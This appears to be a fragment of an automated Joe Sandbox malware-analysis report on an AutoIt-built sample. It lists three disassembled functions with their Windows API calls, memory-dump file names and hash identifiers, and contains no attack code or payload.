                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0044226C
                                                                                                                                                  • PostMessageW.USER32(00000000,00000111,00000197,00000000), ref: 0044227F
                                                                                                                                                    • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FindMessagePostSleepWindow
                                                                                                                                                  • String ID: Shell_TrayWnd
                                                                                                                                                  • API String ID: 529655941-2988720461
                                                                                                                                                  • Opcode ID: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                  • Instruction ID: f0ed9326d30a696a9ade51716a531e8bd1705000bbe21894ac7a57cb5589152b
                                                                                                                                                  • Opcode Fuzzy Hash: 62d1e1a02585172d548c808ed695c1d9d3028cc69dace886715b1b3d1423c17e
                                                                                                                                                  • Instruction Fuzzy Hash: 71D0A772F8130177E92077706D0FFCB26246F14710F010C3AB305AA1C0D4E8D440C358
                                                                                                                                                  Function 0044222A Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 17windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00442240
                                                                                                                                                  • PostMessageW.USER32(00000000), ref: 00442247
                                                                                                                                                    • Part of subcall function 00436272: Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,0044269D,0000000A), ref: 00436287
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: FindMessagePostSleepWindow
                                                                                                                                                  • String ID: Shell_TrayWnd
                                                                                                                                                  • API String ID: 529655941-2988720461
                                                                                                                                                  • Opcode ID: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                  • Instruction ID: d1e5b9be119239975405e397b0c0efdc35250005003305bf123d4268f2ecb06f
                                                                                                                                                  • Opcode Fuzzy Hash: d3682f88803cb2a3efb7847c83fab5a73234bf1983908037f6894d5424c159e3
                                                                                                                                                  • Instruction Fuzzy Hash: 4DD05E72B813013BE92076706D0FF8B26246B14710F010C2AB205AA1C0D4E8A4408358
                                                                                                                                                  Function 00439514 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 8windowCOMMON
                                                                                                                                                  Download Yara Rule
                                                                                                                                                  APIs
                                                                                                                                                  • MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 00439522
                                                                                                                                                    • Part of subcall function 00411A1F: _doexit.LIBCMT ref: 00411A2B
                                                                                                                                                  Strings
                                                                                                                                                  Memory Dump Source
                                                                                                                                                  • Source File: 00000000.00000002.1355782411.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                                                                                                                                  • Associated: 00000000.00000002.1355766491.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355835736.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355853856.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  • Associated: 00000000.00000002.1355889955.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                                                  • Snapshot File: hcaresult_0_2_400000_UNGSno5k4G.jbxd
                                                                                                                                                  Similarity
                                                                                                                                                  • API ID: Message_doexit
                                                                                                                                                  • String ID: AutoIt$Error allocating memory.
                                                                                                                                                  • API String ID: 1993061046-4017498283
                                                                                                                                                  • Opcode ID: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                  • Instruction ID: 5d68346425d2699d55792fe39b85c2381918ba1f955abba655776c5540820644
                                                                                                                                                  • Opcode Fuzzy Hash: 98c4a6cf209f69c689245cd57ea7e643062e7ce984d6ae84015e6f4dd77dfbd0
                                                                                                                                                  • Instruction Fuzzy Hash: 82B092343C038627E20437A01C0BF8C28049B64F42F220C2AB308384D259D90080231E